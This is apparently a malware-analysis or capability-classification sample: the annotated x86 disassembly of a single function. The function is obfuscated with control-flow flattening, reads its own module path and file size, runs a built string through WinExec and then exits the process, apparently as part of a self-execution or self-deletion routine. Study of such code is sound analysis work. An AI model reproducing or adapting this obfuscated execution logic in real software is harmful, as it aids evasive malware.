Function at 0x43a9bc
Capabilities:
Create process on windows
Get file size
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x830
mov esi, esp
mov dword [esi + 0x14], 0x97ff4c87
mov eax, 0x97ff4c87
mov ebx, dword [esi + 0x18]
cmp eax, 0x1c9c7715
jg 0x43aa37
cmp eax, 0xaf376a66
jg 0x43aa9e
cmp eax, 0x97ff4c86
jle 0x43ab47
cmp eax, 0x97ff4c87
je 0x43ac32
cmp eax, 0x994678c2
je 0x43ac5e
cmp eax, 0x9b505cb6
jne 0x43a9dc
xor eax, eax
push eax
push eax
push 3
push eax
push 7
push 0x80000000
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esi + 0x20], eax
mov eax, 0x37798935
jmp 0x43a9dc
cmp eax, 0x472e4a91
jg 0x43ab16
cmp eax, 0x37798934
jle 0x43ab6a
cmp eax, 0x37798935
je 0x43ac7a
cmp eax, 0x3ee6d010
je 0x43ac94
cmp eax, 0x403530b5
jne 0x43a9dc
imul eax, dword [esi + 4], 0x2693
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x7e9d
dec edx
add eax, 0xffffffbc
mov dword [esi + 4], eax
mov eax, 0x1866a9bb
cmp ecx, edx
je 0x43a9dc
mov eax, 0x9b505cb6
jmp 0x43a9dc
cmp eax, 0xdb186947
jle 0x43ab8a
cmp eax, 0x96558f
jg 0x43abfd
cmp eax, 0xdb186948
jne 0x43ade8
imul edi, ebx, 0x97
add edi, 0x39
mov ebx, edi
shr ebx, 4
add ebx, 0xffffff82
push ebx
push 0x2d3b
push 0x2226
push 0xc3f
call fcn.0043ae40
add esp, 0x10
push ebx
push 0x43df
push 0x3a0e
push 0x1a84
call fcn.0043ae40
add esp, 0x10
mov eax, 0x994678c2
cmp edi, 0x1280
jae 0x43a9dc
jmp 0x43ad49
cmp eax, 0x79c0952a
jle 0x43abbb
cmp eax, 0x79c0952b
je 0x43acd5
cmp eax, 0x7e6487db
jne 0x43addb
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [esi + 0x24], eax
jmp 0x43ad3c
cmp eax, 0x86873a32
je 0x43ad10
cmp eax, 0x8d797533
jne 0x43a9dc
mov eax, dword [esi + 8]
mov eax, 0x2a6dfe1d
jmp 0x43a9dc
cmp eax, 0x1c9c7716
je 0x43ad46
cmp eax, 0x2a6dfe1d
jne 0x43a9dc
mov eax, 0x6c4ba64c
jmp 0x43a9dc
cmp eax, 0xaf376a67
je 0x43ad53
cmp eax, 0xcc08c088
jne 0x43a9dc
push 0x200
push dword [esi + 0xc]
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, 0x403530b5
jmp 0x43a9dc
cmp eax, 0x472e4a92
je 0x43ad87
cmp eax, 0x6c4ba64c
jne 0x43a9dc
push dword [esi + 8]
push dword [esi + 0x20]
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov eax, dword [esi + 8]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
add ecx, 0xffffffff
adc eax, 0xffffffff
mov edx, dword [esi + 8]
mov dword [edx], ecx
mov dword [edx + 4], eax
mov eax, 0x79c0952b
jmp 0x43a9dc
cmp eax, 0x1866a9bb
jne 0x43adf5
shr ebx, 4
imul ebx, ebx, 0xb13000
add ebx, 0xd5c78f13
mov eax, 0xdb186948
cmp ebx, 0xfc
jl 0x43a9dc
mov eax, 0x965590
jmp 0x43a9dc
push eax
sub esp, 0x1fc
mov eax, esp
mov dword [esi + 0xc], eax
sub esp, 8
mov eax, esp
and eax, 0xfffffff8
mov esp, eax
mov dword [esi + 8], eax
push eax
sub esp, 0x64
mov eax, esp
mov dword [esi + 0x1c], eax
mov eax, 0x1c9c7716
jmp 0x43a9dc
shl ebx, 6
add ebx, 0x2000
mov eax, 0xcc08c088
cmp ebx, 0x61
jl 0x43a9dc
jmp 0x43ad49
mov eax, dword [esi + 4]
lea eax, [eax + eax*8]
lea eax, [eax*8 - 4]
mov dword [esi + 4], eax
mov eax, 0x8d797533
jmp 0x43a9dc
push 0x68
push dword [esi + 0x10]
push dword [esi + 0x1c]
call fcn.0044ac30
add esp, 0xc
mov eax, dword [esi + 8]
mov ecx, dword [esi + 0xc]
push ecx
push ecx
push dword [eax]
push dword [esi + 0x1c]
push 0x800
lea edi, [esi + 0x28]
push edi
call fcn.00429e5e
add esp, 0x18
push 0
push edi
call dword [sym.imp.KERNEL32.dll_WinExec]
mov eax, 0xaf376a67
jmp 0x43a9dc
mov eax, dword [esi + 4]
add eax, 0xffffffbb
mov ecx, eax
shr ecx, 3
imul ecx, ecx
imul edx, ecx, 0x26e3
dec edx
shr eax, 0xe
and eax, 0xfffffffc
imul eax, eax, 0xdd
mov dword [esi + 4], eax
mov eax, 0x97ff4c87
cmp edx, ecx
je 0x43a9dc
mov eax, 0x472e4a92
jmp 0x43a9dc
imul ebx, ebx, 0xe000000
push ebx
push 0x3839
push 0x4310
call fcn.00429e5e
add esp, 0xc
call fcn.00407b67
mov eax, 0x97ff4c87
cmp ebx, 0x6e
jl 0x43a9dc
mov eax, 0xcc08c088
jmp 0x43a9dc
mov eax, dword [esi + 0xc]
mov eax, 0x7e6487db
jmp 0x43a9dc
mov ecx, dword [esi + 4]
mov eax, 0xffffff26
add ecx, eax
imul eax, ecx, 0xa3000
imul ecx, ecx
imul edx, ecx, 0x142f
dec edx
mov dword [esi + 4], eax
mov eax, 0x97ff4c87
cmp edx, ecx
je 0x43a9dc
mov eax, 0xf4db464e
jmp 0x43a9dc
push dword [esi + 0x20]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov eax, dword [esi + 0x1c]
sub esp, 0x68
mov eax, esp
mov dword [esi + 0x10], eax
mov eax, dword [esi + 0x10]
mov byte [eax + 0x67], 0
mov edi, 0x67
push edi
push 0x47df40
push dword [esi + 0x10]
call fcn.0044ac30
add esp, 0xc
push 5
push 0x47dfa7
push edi
push dword [esi + 0x10]
call fcn.0043ae40
add esp, 0x10
mov eax, 0x3ee6d010
jmp 0x43a9dc
cmp eax, 0x7d4c09e0
jne 0x43a9dc
jmp 0x43ae1c
cmp eax, 0xf4db464e
jne 0x43a9dc
jmp 0x43ae0e
cmp eax, 0x965590
jne 0x43a9dc
mov dword [esi + 0x14], eax
imul eax, ebx, 0x5300
shr eax, 0xf
jmp 0x43ae34
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], ebx
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [esi + 0x14], eax
shl ebx, 8
add ebx, 0x1fd20000
and ebx, 0x1fff8000
imul eax, ebx, 0x768
mov dword [esi + 0x18], eax
call fcn.0043a9bc
int3